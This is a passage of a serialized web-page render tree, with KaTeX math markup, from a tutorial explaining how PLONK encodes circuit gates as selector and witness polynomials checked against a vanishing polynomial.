",{"type":24,"tag":32,"props":141841,"children":141843},{"className":141842},[3726,3727],[141844],{"type":24,"tag":83,"props":141845,"children":141847},{"className":141846},[3732],[141848],{"type":24,"tag":83,"props":141849,"children":141851},{"className":141850,"ariaHidden":1237},[3737],[141852],{"type":24,"tag":83,"props":141853,"children":141855},{"className":141854},[3742],[141856,141861],{"type":24,"tag":83,"props":141857,"children":141860},{"className":141858,"style":141859},[3747],"height:0.8444em;vertical-align:-0.15em;",[],{"type":24,"tag":83,"props":141862,"children":141864},{"className":141863},[3753],[141865,141870],{"type":24,"tag":83,"props":141866,"children":141868},{"className":141867,"style":92772},[3753,21328],[141869],{"type":29,"value":92775},{"type":24,"tag":83,"props":141871,"children":141873},{"className":141872},[3769],[141874],{"type":24,"tag":83,"props":141875,"children":141877},{"className":141876},[3774,21382],[141878,141908],{"type":24,"tag":83,"props":141879,"children":141881},{"className":141880},[3779],[141882,141903],{"type":24,"tag":83,"props":141883,"children":141885},{"className":141884,"style":93289},[3784],[141886],{"type":24,"tag":83,"props":141887,"children":141889},{"style":141888},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[141890,141894],{"type":24,"tag":83,"props":141891,"children":141893},{"className":141892,"style":3794},[3793],[],{"type":24,"tag":83,"props":141895,"children":141897},{"className":141896},[3799,3800,3801,3802],[141898],{"type":24,"tag":83,"props":141899,"children":141901},{"className":141900},[3753,21328,3802],[141902],{"type":29,"value":3482},{"type":24,"tag":83,"props":141904,"children":141906},{"className":141905},[21485],[141907],{"type":29,"value":21488},{"type":24,"tag":83,"props":141909,"children":141911},{"className":141910},[3779],[141912],{"type":24,"tag":83,"props":141913,"children":141915},{"className":141914,"style":92843},[3784],[141916],{"type":24,"tag":83,"props":141917,"children":141918},{},[],{"type":29,"value":141920},", right input ",{"type":24,"tag":32,"props":141922,"children":141924},{"className":141923},[3726,3727],[141925],{"type":24,"tag":83,"props":141926,"children":141928},{"className":141927},[3732],[141929],{"type":24,"tag":83,"props":141930,"children":141932},{"className":141931,"ariaHidden":1237},[3737],[141933],{"type":24,"tag":83,"props":141934,"children":141936},{"className":141935},[3742],[141937,141941],{"type":24,"tag":83,"props":141938,"children":141940},{"className":141939,"style":109550},[3747],[],{"type":24,"tag":83,"props":141942,"children":141944},{"className":141943},[3753],[141945,141950],{"type":24,"tag":83,"props":141946,"children":141948},{"className":141947,"style":92760},[3753,21328],[141949],{"type":29,"value":93579},{"type":24,"tag":83,"props":141951,"children":141953},{"className":141952},[3769],[141954],{"type":24,"tag":83,"props":141955,"children":141957},{"className":141956},[3774,21382],[141958,141987],{"type":24,"tag":83,"props":141959,"children":141961},{"className":141960},[3779],[141962,141982],{"type":24,"tag":83,"props":141963,"children":141965},{"className":141964,"style":93289},[3784],[141966],{"type":24,"tag":83,"props":141967,"children":141968},{"style":109579},[141969,141973],{"type":24,"tag":83,"props":141970,"children":141972},{"className":141971,"style":3794},[3793],[],{"type":24,"tag":83,"props":141974,"children":141976},{"className":141975},[3799,3800,3801,3802],[141977],{"type":24,"tag":83,"props":141978,"children":141980},{"className":141979},[3753,21328,3802],[141981],{"type":29,"value":3482},{"type":24,"tag":83,"props":141983,"children":141985},{"className":141984},[21485],[141986],{"type":29,"value":21488},{"type":24,"tag":83,"props":141988,"children":141990},{"className":141989},[3779],[141991],{"type":24,"tag":83,"props":141992,"children":141994},{"className":141993,"style":92843},[3784],[141995],{"type":24,"tag":83,"props":141996,"children":141997},{},[],{"type":29,"value":141999},", and output ",{"type":24,"tag":32,"props":142001,"children":142003},{"className":142002},[3726,3727],[142004],{"type":24,"tag":83,"props":142005,"children":142007},{"className":142006},[3732],[142008],{"type":24,"tag":83,"props":142009,"children":142011},{"className":142010,"ariaHidden":1237},[3737],[142012],{"type":24,"tag":83,"props":142013,"children":142015},{"className":142014},[3742],[142016,142020],{"type":24,"tag":83,"props":142017,"children":142019},{"className":142018,"style":109550},[3747],[],{"type":24,"tag":83,"props":142021,"children":142023},{"className":142022},[3753],[142024,142029],{"type":24,"tag":83,"props":142025,"children":142027},{"className":142026},[3753,21328],[142028],{"type":29,"value":92730},{"type":24,"tag":83,"props":142030,"children":142032},{"className":142031},[3769],[142033],{"type":24,"tag":83,"props":142034,"children":142036},{"className":142035},[3774,21382],[142037,142066],{"type":24,"tag":83,"props":142038,"children":142040},{"className":142039},[3779],[142041,142061],{"type":24,"tag":83,"props":142042,"children":142044},{"className":142043,"style":93289},[3784],[142045],{"type":24,"tag":83,"props":142046,"children":142047},{"style":92816},[142048,142052],{"type":24,"tag":83,"props":142049,"children":142051},{"className":142050,"style":3794},[3793],[],{"type":24,"tag":83,"props":142053,"children":142055},{"className":142054},[3799,3800,3801,3802],[142056],{"type":24,"tag":83,"props":142057,"children":142059},{"className":142058},[3753,21328,3802],[142060],{"type":29,"value":3482},{"type":24,"tag":83,"props":142062,"children":142064},{"className":142063},[21485],[142065],{"type":29,"value":21488},{"type":24,"tag":83,"props":142067,"children":142069},{"className":142068},[3779],[142070],{"type":24,"tag":83,"props":142071,"children":142073},{"className":142072,"style":92843},[3784],[142074],{"type":24,"tag":83,"props":142075,"children":142076},{},[],{"type":29,"value":142078},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":24,"tag":25,"props":142080,"children":142081},{},[142082,142084,142089,142091,142195,142197,142300,142302,142307],{"type":29,"value":142083},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":24,"tag":2655,"props":142085,"children":142086},{},[142087],{"type":29,"value":142088},"selector",{"type":29,"value":142090}," values that act as switches: setting ",{"type":24,"tag":32,"props":142092,"children":142094},{"className":142093},[3726,3727],[142095],{"type":24,"tag":83,"props":142096,"children":142098},{"className":142097},[3732],[142099],{"type":24,"tag":83,"props":142100,"children":142102},{"className":142101,"ariaHidden":1237},[3737],[142103,142182],{"type":24,"tag":83,"props":142104,"children":142106},{"className":142105},[3742],[142107,142111,142169,142173,142178],{"type":24,"tag":83,"props":142108,"children":142110},{"className":142109,"style":109470},[3747],[],{"type":24,"tag":83,"props":142112,"children":142114},{"className":142113},[3753],[142115,142120],{"type":24,"tag":83,"props":142116,"children":142118},{"className":142117,"style":93246},[3753,21328],[142119],{"type":29,"value":93249},{"type":24,"tag":83,"props":142121,"children":142123},{"className":142122},[3769],[142124],{"type":24,"tag":83,"props":142125,"children":142127},{"className":142126},[3774,21382],[142128,142158],{"type":24,"tag":83,"props":142129,"children":142131},{"className":142130},[3779],[142132,142153],{"type":24,"tag":83,"props":142133,"children":142136},{"className":142134,"style":142135},[3784],"height:0.3283em;",[142137],{"type":24,"tag":83,"props":142138,"children":142139},{"style":93293},[142140,142144],{"type":24,"tag":83,"props":142141,"children":142143},{"className":142142,"style":3794},[3793],[],{"type":24,"tag":83,"props":142145,"children":142147},{"className":142146},[3799,3800,3801,3802],[142148],{"type":24,"tag":83,"props":142149,"children":142151},{"className":142150,"style":94768},[3753,21328,3802],[142152],{"type":29,"value":94771},{"type":24,"tag":83,"props":142154,"children":142156},{"className":142155},[21485],[142157],{"type":29,"value":21488},{"type":24,"tag":83,"props":142159,"children":142161},{"className":142160},[3779],[142162],{"type":24,"tag":83,"props":142163,"children":142165},{"className":142164,"style":92843},[3784],[142166],{"type":24,"tag":83,"props":142167,"children":142168},{},[],{"type":24,"tag":83,"props":142170,"children":142172},{"className":142171,"style":3931},[3833],[],{"type":24,"tag":83,"props":142174,"children":142176},{"className":142175},[3936],[142177],{"type":29,"value":1275},{"type":24,"tag":83,"props":142179,"children":142181},{"className":142180,"style":3931},[3833],[],{"type":24,"tag":83,"props":142183,"children":142185},{"className":142184},[3742],[142186,142190],{"type":24,"tag":83,"props":142187,"children":142189},{"className":142188,"style":93791},[3747],[],{"type":24,"tag":83,"props":142191,"children":142193},{"className":142192},[3753],[142194],{"type":29,"value":3756},{"type":29,"value":142196}," makes a row a multiplication gate, setting ",{"type":24,"tag":32,"props":142198,"children":142200},{"className":142199},[3726,3727],[142201],{"type":24,"tag":83,"props":142202,"children":142204},{"className":142203},[3732],[142205],{"type":24,"tag":83,"props":142206,"children":142208},{"className":142207,"ariaHidden":1237},[3737],[142209,142287],{"type":24,"tag":83,"props":142210,"children":142212},{"className":142211},[3742],[142213,142217,142274,142278,142283],{"type":24,"tag":83,"props":142214,"children":142216},{"className":142215,"style":109470},[3747],[],{"type":24,"tag":83,"props":142218,"children":142220},{"className":142219},[3753],[142221,142226],{"type":24,"tag":83,"props":142222,"children":142224},{"className":142223,"style":93246},[3753,21328],[142225],{"type":29,"value":93249},{"type":24,"tag":83,"props":142227,"children":142229},{"className":142228},[3769],[142230],{"type":24,"tag":83,"props":142231,"children":142233},{"className":142232},[3774,21382],[142234,142263],{"type":24,"tag":83,"props":142235,"children":142237},{"className":142236},[3779],[142238,142258],{"type":24,"tag":83,"props":142239,"children":142241},{"className":142240,"style":142135},[3784],[142242],{"type":24,"tag":83,"props":142243,"children":142244},{"style":93293},[142245,142249],{"type":24,"tag":83,"props":142246,"children":142248},{"className":142247,"style":3794},[3793],[],{"type":24,"tag":83,"props":142250,"children":142252},{"className":142251},[3799,3800,3801,3802],[142253],{"type":24,"tag":83,"props":142254,"children":142256},{"className":142255},[3753,21328,3802],[142257],{"type":29,"value":117544},{"type":24,"tag":83,"props":142259,"children":142261},{"className":142260},[21485],[142262],{"type":29,"value":21488},{"type":24,"tag":83,"props":142264,"children":142266},{"className":142265},[3779],[142267],{"type":24,"tag":83,"props":142268,"children":142270},{"className":142269,"style":92843},[3784],[142271],{"type":24,"tag":83,"props":142272,"children":142273},{},[],{"type":24,"tag":83,"props":142275,"children":142277},{"className":142276,"style":3931},[3833],[],{"type":24,"tag":83,"props":142279,"children":142281},{"className":142280},[3936],[142282],{"type":29,"value":1275},{"type":24,"tag":83,"props":142284,"children":142286},{"className":142285,"style":3931},[3833],[],{"type":24,"tag":83,"props":142288,"children":142290},{"className":142289},[3742],[142291,142295],{"type":24,"tag":83,"props":142292,"children":142294},{"className":142293,"style":93791},[3747],[],{"type":24,"tag":83,"props":142296,"children":142298},{"className":142297},[3753],[142299],{"type":29,"value":3756},{"type":29,"value":142301}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":24,"tag":2655,"props":142303,"children":142304},{},[142305],{"type":29,"value":142306},"permutation argument",{"type":29,"value":142308}," for that, which we will not cover here.",{"type":24,"tag":1818,"props":142310,"children":142312},{"id":142311},"from-many-checks-to-one",[142313],{"type":29,"value":142314},"From many checks to one",{"type":24,"tag":25,"props":142316,"children":142317},{},[142318,142320,142325,142326,142418,142419,142511,142512,142604,142606,142611,142612,142704,142705,142797,142799,142824,142826,142851,142853,142945,142947,142972,142974,142999],{"type":29,"value":142319},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":24,"tag":2655,"props":142321,"children":142322},{},[142323],{"type":29,"value":142324},"witness polynomials",{"type":29,"value":6204},{"type":24,"tag":32,"props":142327,"children":142329},{"className":142328},[3726,3727],[142330],{"type":24,"tag":83,"props":142331,"children":142333},{"className":142332},[3732],[142334],{"type":24,"tag":83,"props":142335,"children":142337},{"className":142336,"ariaHidden":1237},[3737],[142338],{"type":24,"tag":83,"props":142339,"children":142341},{"className":142340},[3742],[142342,142346,142403,142408,142413],{"type":24,"tag":83,"props":142343,"children":142345},{"className":142344,"style":3854},[3747],[],{"type":24,"tag":83,"props":142347,"children":142349},{"className":142348},[3753],[142350,142355],{"type":24,"tag":83,"props":142351,"children":142353},{"className":142352,"style":95114},[3753,21328],[142354],{"type":29,"value":32824},{"type":24,"tag":83,"props":142356,"children":142358},{"className":142357},[3769],[142359],{"type":24,"tag":83,"props":142360,"children":142362},{"className":142361},[3774,21382],[142363,142392],{"type":24,"tag":83,"props":142364,"children":142366},{"className":142365},[3779],[142367,142387],{"type":24,"tag":83,"props":142368,"children":142370},{"className":142369,"style":142135},[3784],[142371],{"type":24,"tag":83,"props":142372,"children":142373},{"style":95135},[142374,142378],{"type":24,"tag":83,"props":142375,"children":142377},{"className":142376,"style":3794},[3793],[],{"type":24,"tag":83,"props":142379,"children":142381},{"className":142380},[3799,3800,3801,3802],[142382],{"type":24,"tag":83,"props":142383,"children":142385},{"className":142384},[3753,21328,3802],[142386],{"type":29,"value":117544},{"type":24,"tag":83,"props":142388,"children":142390},{"className":142389},[21485],[142391],{"type":29,"value":21488},{"type":24,"tag":83,"props":142393,"children":142395},{"className":142394},[3779],[142396],{"type":24,"tag":83,"props":142397,"children":142399},{"className":142398,"style":92843},[3784],[142400],{"type":24,"tag":83,"props":142401,"children":142402},{},[],{"type":24,"tag":83,"props":142404,"children":142406},{"className":142405},[21457],[142407],{"type":29,"value":558},{"type":24,"tag":83,"props":142409,"children":142411},{"className":142410},[3753,21328],[142412],{"type":29,"value":19015},{"type":24,"tag":83,"props":142414,"children":142416},{"className":142415},[21479],[142417],{"type":29,"value":2872},{"type":29,"value":568},{"type":24,"tag":32,"props":142420,"children":142422},{"className":142421},[3726,3727],[142423],{"type":24,"tag":83,"props":142424,"children":142426},{"className":142425},[3732],[142427],{"type":24,"tag":83,"props":142428,"children":142430},{"className":142429,"ariaHidden":1237},[3737],[142431],{"type":24,"tag":83,"props":142432,"children":142434},{"className":142433},[3742],[142435,142439,142496,142501,142506],{"type":24,"tag":83,"props":142436,"children":142438},{"className":142437,"style":3854},[3747],[],{"type":24,"tag":83,"props":142440,"children":142442},{"className":142441},[3753],[142443,142448],{"type":24,"tag":83,"props":142444,"children":142446},{"className":142445,"style":95114},[3753,21328],[142447],{"type":29,"value":32824},{"type":24,"tag":83,"props":142449,"children":142451},{"className":142450},[3769],[142452],{"type":24,"tag":83,"props":142453,"children":142455},{"className":142454},[3774,21382],[142456,142485],{"type":24,"tag":83,"props":142457,"children":142459},{"className":142458},[3779],[142460,142480],{"type":24,"tag":83,"props":142461,"children":142463},{"className":142462,"style":142135},[3784],[142464],{"type":24,"tag":83,"props":142465,"children":142466},{"style":95135},[142467,142471],{"type":24,"tag":83,"props":142468,"children":142470},{"className":142469,"style":3794},[3793],[],{"type":24,"tag":83,"props":142472,"children":142474},{"className":142473},[3799,3800,3801,3802],[142475],{"type":24,"tag":83,"props":142476,"children":142478},{"className":142477,"style":122357},[3753,21328,3802],[142479],{"type":29,"value":122360},{"type":24,"tag":83,"props":142481,"children":142483},{"className":142482},[21485],[142484],{"type":29,"value":21488},{"type":24,"tag":83,"props":142486,"children":142488},{"className":142487},[3779],[142489],{"type":24,"tag":83,"props":142490,"children":142492},{"className":142491,"style":92843},[3784],[142493],{"type":24,"tag":83,"props":142494,"children":142495},{},[],{"type":24,"tag":83,"props":142497,"children":142499},{"className":142498},[21457],[142500],{"type":29,"value":558},{"type":24,"tag":83,"props":142502,"children":142504},{"className":142503},[3753,21328],[142505],{"type":29,"value":19015},{"type":24,"tag":83,"props":142507,"children":142509},{"className":142508},[21479],[142510],{"type":29,"value":2872},{"type":29,"value":568},{"type":24,"tag":32,"props":142513,"children":142515},{"className":142514},[3726,3727],[142516],{"type":24,"tag":83,"props":142517,"children":142519},{"className":142518},[3732],[142520],{"type":24,"tag":83,"props":142521,"children":142523},{"className":142522,"ariaHidden":1237},[3737],[142524],{"type":24,"tag":83,"props":142525,"children":142527},{"className":142526},[3742],[142528,142532,142589,142594,142599],{"type":24,"tag":83,"props":142529,"children":142531},{"className":142530,"style":3854},[3747],[],{"type":24,"tag":83,"props":142533,"children":142535},{"className":142534},[3753],[142536,142541],{"type":24,"tag":83,"props":142537,"children":142539},{"className":142538,"style":95114},[3753,21328],[142540],{"type":29,"value":32824},{"type":24,"tag":83,"props":142542,"children":142544},{"className":142543},[3769],[142545],{"type":24,"tag":83,"props":142546,"children":142548},{"className":142547},[3774,21382],[142549,142578],{"type":24,"tag":83,"props":142550,"children":142552},{"className":142551},[3779],[142553,142573],{"type":24,"tag":83,"props":142554,"children":142556},{"className":142555,"style":142135},[3784],[142557],{"type":24,"tag":83,"props":142558,"children":142559},{"style":95135},[142560,142564],{"type":24,"tag":83,"props":142561,"children":142563},{"className":142562,"style":3794},[3793],[],{"type":24,"tag":83,"props":142565,"children":142567},{"className":142566},[3799,3800,3801,3802],[142568],{"type":24,"tag":83,"props":142569,"children":142571},{"className":142570,"style":92760},[3753,21328,3802],[142572],{"type":29,"value":114899},{"type":24,"tag":83,"props":142574,"children":142576},{"className":142575},[21485],[142577],{"type":29,"value":21488},{"type":24,"tag":83,"props":142579,"children":142581},{"className":142580},[3779],[142582],{"type":24,"tag":83,"props":142583,"children":142585},{"className":142584,"style":92843},[3784],[142586],{"type":24,"tag":83,"props":142587,"children":142588},{},[],{"type":24,"tag":83,"props":142590,"children":142592},{"className":142591},[21457],[142593],{"type":29,"value":558},{"type":24,"tag":83,"props":142595,"children":142597},{"className":142596},[3753,21328],[142598],{"type":29,"value":19015},{"type":24,"tag":83,"props":142600,"children":142602},{"className":142601},[21479],[142603],{"type":29,"value":2872},{"type":29,"value":142605}," and the selectors become ",{"type":24,"tag":2655,"props":142607,"children":142608},{},[142609],{"type":29,"value":142610},"selector polynomials",{"type":29,"value":6204},{"type":24,"tag":32,"props":142613,"children":142615},{"className":142614},[3726,3727],[142616],{"type":24,"tag":83,"props":142617,"children":142619},{"className":142618},[3732],[142620],{"type":24,"tag":83,"props":142621,"children":142623},{"className":142622,"ariaHidden":1237},[3737],[142624],{"type":24,"tag":83,"props":142625,"children":142627},{"className":142626},[3742],[142628,142632,142689,142694,142699],{"type":24,"tag":83,"props":142629,"children":142631},{"className":142630,"style":3854},[3747],[],{"type":24,"tag":83,"props":142633,"children":142635},{"className":142634},[3753],[142636,142641],{"type":24,"tag":83,"props":142637,"children":142639},{"className":142638},[3753,21328],[142640],{"type":29,"value":76517},{"type":24,"tag":83,"props":142642,"children":142644},{"className":142643},[3769],[142645],{"type":24,"tag":83,"props":142646,"children":142648},{"className":142647},[3774,21382],[142649,142678],{"type":24,"tag":83,"props":142650,"children":142652},{"className":142651},[3779],[142653,142673],{"type":24,"tag":83,"props":142654,"children":142656},{"className":142655,"style":142135},[3784],[142657],{"type":24,"tag":83,"props":142658,"children":142659},{"style":92816},[142660,142664],{"type":24,"tag":83,"props":142661,"children":142663},{"className":142662,"style":3794},[3793],[],{"type":24,"tag":83,"props":142665,"children":142667},{"className":142666},[3799,3800,3801,3802],[142668],{"type":24,"tag":83,"props":142669,"children":142671},{"className":142670,"style":94768},[3753,21328,3802],[142672],{"type":29,"value":94771},{"type":24,"tag":83,"props":142674,"children":142676},{"className":142675},[21485],[142677],{"type":29,"value":21488},{"type":24,"tag":83,"props":142679,"children":142681},{"className":142680},[3779],[142682],{"type":24,"tag":83,"props":142683,"children":142685},{"className":142684,"style":92843},[3784],[142686],{"type":24,"tag":83,"props":142687,"children":142688},{},[],{"type":24,"tag":83,"props":142690,"children":142692},{"className":142691},[21457],[142693],{"type":29,"value":558},{"type":24,"tag":83,"props":142695,"children":142697},{"className":142696},[3753,21328],[142698],{"type":29,"value":19015},{"type":24,"tag":83,"props":142700,"children":142702},{"className":142701},[21479],[142703],{"type":29,"value":2872},{"type":29,"value":568},{"type":24,"tag":32,"props":142706,"children":142708},{"className":142707},[3726,3727],[142709],{"type":24,"tag":83,"props":142710,"children":142712},{"className":142711},[3732],[142713],{"type":24,"tag":83,"props":142714,"children":142716},{"className":142715,"ariaHidden":1237},[3737],[142717],{"type":24,"tag":83,"props":142718,"children":142720},{"className":142719},[3742],[142721,142725,142782,142787,142792],{"type":24,"tag":83,"props":142722,"children":142724},{"className":142723,"style":3854},[3747],[],{"type":24,"tag":83,"props":142726,"children":142728},{"className":142727},[3753],[142729,142734],{"type":24,"tag":83,"props":142730,"children":142732},{"className":142731},[3753,21328],[142733],{"type":29,"value":76517},{"type":24,"tag":83,"props":142735,"children":142737},{"className":142736},[3769],[142738],{"type":24,"tag":83,"props":142739,"children":142741},{"className":142740},[3774,21382],[142742,142771],{"type":24,"tag":83,"props":142743,"children":142745},{"className":142744},[3779],[142746,142766],{"type":24,"tag":83,"props":142747,"children":142749},{"className":142748,"style":142135},[3784],[142750],{"type":24,"tag":83,"props":142751,"children":142752},{"style":92816},[142753,142757],{"type":24,"tag":83,"props":142754,"children":142756},{"className":142755,"style":3794},[3793],[],{"type":24,"tag":83,"props":142758,"children":142760},{"className":142759},[3799,3800,3801,3802],[142761],{"type":24,"tag":83,"props":142762,"children":142764},{"className":142763},[3753,21328,3802],[142765],{"type":29,"value":117544},{"type":24,"tag":83,"props":142767,"children":142769},{"className":142768},[21485],[142770],{"type":29,"value":21488},{"type":24,"tag":83,"props":142772,"children":142774},{"className":142773},[3779],[142775],{"type":24,"tag":83,"props":142776,"children":142778},{"className":142777,"style":92843},[3784],[142779],{"type":24,"tag":83,"props":142780,"children":142781},{},[],{"type":24,"tag":83,"props":142783,"children":142785},{"className":142784},[21457],[142786],{"type":29,"value":558},{"type":24,"tag":83,"props":142788,"children":142790},{"className":142789},[3753,21328],[142791],{"type":29,"value":19015},{"type":24,"tag":83,"props":142793,"children":142795},{"className":142794},[21479],[142796],{"type":29,"value":2872},{"type":29,"value":142798},", etc., all interpolated over a domain ",{"type":24,"tag":32,"props":142800,"children":142802},{"className":142801},[3726,3727],[142803],{"type":24,"tag":83,"props":142804,"children":142806},{"className":142805},[3732],[142807],{"type":24,"tag":83,"props":142808,"children":142810},{"className":142809,"ariaHidden":1237},[3737],[142811],{"type":24,"tag":83,"props":142812,"children":142814},{"className":142813},[3742],[142815,142819],{"type":24,"tag":83,"props":142816,"children":142818},{"className":142817,"style":21323},[3747],[],{"type":24,"tag":83,"props":142820,"children":142822},{"className":142821,"style":92994},[3753,21328],[142823],{"type":29,"value":92997},{"type":29,"value":142825}," of ",{"type":24,"tag":32,"props":142827,"children":142829},{"className":142828},[3726,3727],[142830],{"type":24,"tag":83,"props":142831,"children":142833},{"className":142832},[3732],[142834],{"type":24,"tag":83,"props":142835,"children":142837},{"className":142836,"ariaHidden":1237},[3737],[142838],{"type":24,"tag":83,"props":142839,"children":142841},{"className":142840},[3742],[142842,142846],{"type":24,"tag":83,"props":142843,"children":142845},{"className":142844,"style":110421},[3747],[],{"type":24,"tag":83,"props":142847,"children":142849},{"className":142848},[3753,21328],[142850],{"type":29,"value":56117},{"type":29,"value":142852},"-th roots of unity. Evaluating ",{"type":24,"tag":32,"props":142854,"children":142856},{"className":142855},[3726,3727],[142857],{"type":24,"tag":83,"props":142858,"children":142860},{"className":142859},[3732],[142861],{"type":24,"tag":83,"props":142862,"children":142864},{"className":142863,"ariaHidden":1237},[3737],[142865],{"type":24,"tag":83,"props":142866,"children":142868},{"className":142867},[3742],[142869,142873,142930,142935,142940],{"type":24,"tag":83,"props":142870,"children":142872},{"className":142871,"style":3854},[3747],[],{"type":24,"tag":83,"props":142874,"children":142876},{"className":142875},[3753],[142877,142882],{"type":24,"tag":83,"props":142878,"children":142880},{"className":142879,"style":95114},[3753,21328],[142881],{"type":29,"value":32824},{"type":24,"tag":83,"props":142883,"children":142885},{"className":142884},[3769],[142886],{"type":24,"tag":83,"props":142887,"children":142889},{"className":142888},[3774,21382],[142890,142919],{"type":24,"tag":83,"props":142891,"children":142893},{"className":142892},[3779],[142894,142914],{"type":24,"tag":83,"props":142895,"children":142897},{"className":142896,"style":142135},[3784],[142898],{"type":24,"tag":83,"props":142899,"children":142900},{"style":95135},[142901,142905],{"type":24,"tag":83,"props":142902,"children":142904},{"className":142903,"style":3794},[3793],[],{"type":24,"tag":83,"props":142906,"children":142908},{"className":142907},[3799,3800,3801,3802],[142909],{"type":24,"tag":83,"props":142910,"children":142912},{"className":142911},[3753,21328,3802],[142913],{"type":29,"value":117544},{"type":24,"tag":83,"props":142915,"children":142917},{"className":142916},[21485],[142918],{"type":29,"value":21488},{"type":24,"tag":83,"props":142920,"children":142922},{"className":142921},[3779],[142923],{"type":24,"tag":83,"props":142924,"children":142926},{"className":142925,"style":92843},[3784],[142927],{"type":24,"tag":83,"props":142928,"children":142929},{},[],{"type":24,"tag":83,"props":142931,"children":142933},{"className":142932},[21457],[142934],{"type":29,"value":558},{"type":24,"tag":83,"props":142936,"children":142938},{"className":142937},[3753,21328],[142939],{"type":29,"value":19015},{"type":24,"tag":83,"props":142941,"children":142943},{"className":142942},[21479],[142944],{"type":29,"value":2872},{"type":29,"value":142946}," at the ",{"type":24,"tag":32,"props":142948,"children":142950},{"className":142949},[3726,3727],[142951],{"type":24,"tag":83,"props":142952,"children":142954},{"className":142953},[3732],[142955],{"type":24,"tag":83,"props":142956,"children":142958},{"className":142957,"ariaHidden":1237},[3737],[142959],{"type":24,"tag":83,"props":142960,"children":142962},{"className":142961},[3742],[142963,142967],{"type":24,"tag":83,"props":142964,"children":142966},{"className":142965,"style":141831},[3747],[],{"type":24,"tag":83,"props":142968,"children":142970},{"className":142969},[3753,21328],[142971],{"type":29,"value":3482},{"type":29,"value":142973},"-th root recovers the left wire value at row ",{"type":24,"tag":32,"props":142975,"children":142977},{"className":142976},[3726,3727],[142978],{"type":24,"tag":83,"props":142979,"children":142981},{"className":142980},[3732],[142982],{"type":24,"tag":83,"props":142983,"children":142985},{"className":142984,"ariaHidden":1237},[3737],[142986],{"type":24,"tag":83,"props":142987,"children":142989},{"className":142988},[3742],[142990,142994],{"type":24,"tag":83,"props":142991,"children":142993},{"className":142992,"style":141831},[3747],[],{"type":24,"tag":83,"props":142995,"children":142997},{"className":142996},[3753,21328],[142998],{"type":29,"value":3482},{"type":29,"value":161},{"type":24,"tag":143001,"props":143002,"children":143003},"polynomial-interpolation-panel",{},[],{"type":24,"tag":25,"props":143005,"children":143006},{},[143007,143009,143049,143051,143117,143119,143249,143251,143291,143293,143333,143335,143375,143376,143498],{"type":29,"value":143008},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":24,"tag":32,"props":143010,"children":143012},{"className":143011},[3726,3727],[143013],{"type":24,"tag":83,"props":143014,"children":143016},{"className":143015},[3732],[143017],{"type":24,"tag":83,"props":143018,"children":143020},{"className":143019,"ariaHidden":1237},[3737],[143021],{"type":24,"tag":83,"props":143022,"children":143024},{"className":143023},[3742],[143025,143029,143034,143039,143044],{"type":24,"tag":83,"props":143026,"children":143028},{"className":143027,"style":3854},[3747],[],{"type":24,"tag":83,"props":143030,"children":143032},{"className":143031,"style":21329},[3753,21328],[143033],{"type":29,"value":121358},{"type":24,"tag":83,"props":143035,"children":143037},{"className":143036},[21457],[143038],{"type":29,"value":558},{"type":24,"tag":83,"props":143040,"children":143042},{"className":143041},[3753,21328],[143043],{"type":29,"value":19015},{"type":24,"tag":83,"props":143045,"children":143047},{"className":143046},[21479],[143048],{"type":29,"value":2872},{"type":29,"value":143050}," that combines selectors and witnesses. If the prover was honest, ",{"type":24,"tag":32,"props":143052,"children":143054},{"className":143053},[3726,3727],[143055],{"type":24,"tag":83,"props":143056,"children":143058},{"className":143057},[3732],[143059],{"type":24,"tag":83,"props":143060,"children":143062},{"className":143061,"ariaHidden":1237},[3737],[143063,143104],{"type":24,"tag":83,"props":143064,"children":143066},{"className":143065},[3742],[143067,143071,143076,143081,143086,143091,143095,143100],{"type":24,"tag":83,"props":143068,"children":143070},{"className":143069,"style":3854},[3747],[],{"type":24,"tag":83,"props":143072,"children":143074},{"className":143073,"style":21329},[3753,21328],[143075],{"type":29,"value":121358},{"type":24,"tag":83,"props":143077,"children":143079},{"className":143078},[21457],[143080],{"type":29,"value":558},{"type":24,"tag":83,"props":143082,"children":143084},{"className":143083},[3753,21328],[143085],{"type":29,"value":19015},{"type":24,"tag":83,"props":143087,"children":143089},{"className":143088},[21479],[143090],{"type":29,"value":2872},{"type":24,"tag":83,"props":143092,"children":143094},{"className":143093,"style":3931},[3833],[],{"type":24,"tag":83,"props":143096,"children":143098},{"className":143097},[3936],[143099],{"type":29,"value":1275},{"type":24,"tag":83,"props":143101,"children":143103},{"className":143102,"style":3931},[3833],[],{"type":24,"tag":83,"props":143105,"children":143107},{"className":143106},[3742],[143108,143112],{"type":24,"tag":83,"props":143109,"children":143111},{"className":143110,"style":93791},[3747],[],{"type":24,"tag":83,"props":143113,"children":143115},{"className":143114},[3753],[143116],{"type":29,"value":1166},{"type":29,"value":143118}," at every row index in the domain. The vanishing polynomial ",{"type":24,"tag":32,"props":143120,"children":143122},{"className":143121},[3726,3727],[143123],{"type":24,"tag":83,"props":143124,"children":143126},{"className":143125},[3732],[143127],{"type":24,"tag":83,"props":143128,"children":143130},{"className":143129,"ariaHidden":1237},[3737],[143131,143173,143236],{"type":24,"tag":83,"props":143132,"children":143134},{"className":143133},[3742],[143135,143139,143145,143150,143155,143160,143164,143169],{"type":24,"tag":83,"props":143136,"children":143138},{"className":143137,"style":3854},[3747],[],{"type":24,"tag":83,"props":143140,"children":143142},{"className":143141,"style":21860},[3753,21328],[143143],{"type":29,"value":143144},"Z",{"type":24,"tag":83,"props":143146,"children":143148},{"className":143147},[21457],[143149],{"type":29,"value":558},{"type":24,"tag":83,"props":143151,"children":143153},{"className":143152},[3753,21328],[143154],{"type":29,"value":19015},{"type":24,"tag":83,"props":143156,"children":143158},{"className":143157},[21479],[143159],{"type":29,"value":2872},{"type":24,"tag":83,"props":143161,"children":143163},{"className":143162,"style":3931},[3833],[],{"type":24,"tag":83,"props":143165,"children":143167},{"className":143166},[3936],[143168],{"type":29,"value":1275},{"type":24,"tag":83,"props":143170,"children":143172},{"className":143171,"style":3931},[3833],[],{"type":24,"tag":83,"props":143174,"children":143176},{"className":143175},[3742],[143177,143182,143223,143227,143232],{"type":24,"tag":83,"props":143178,"ch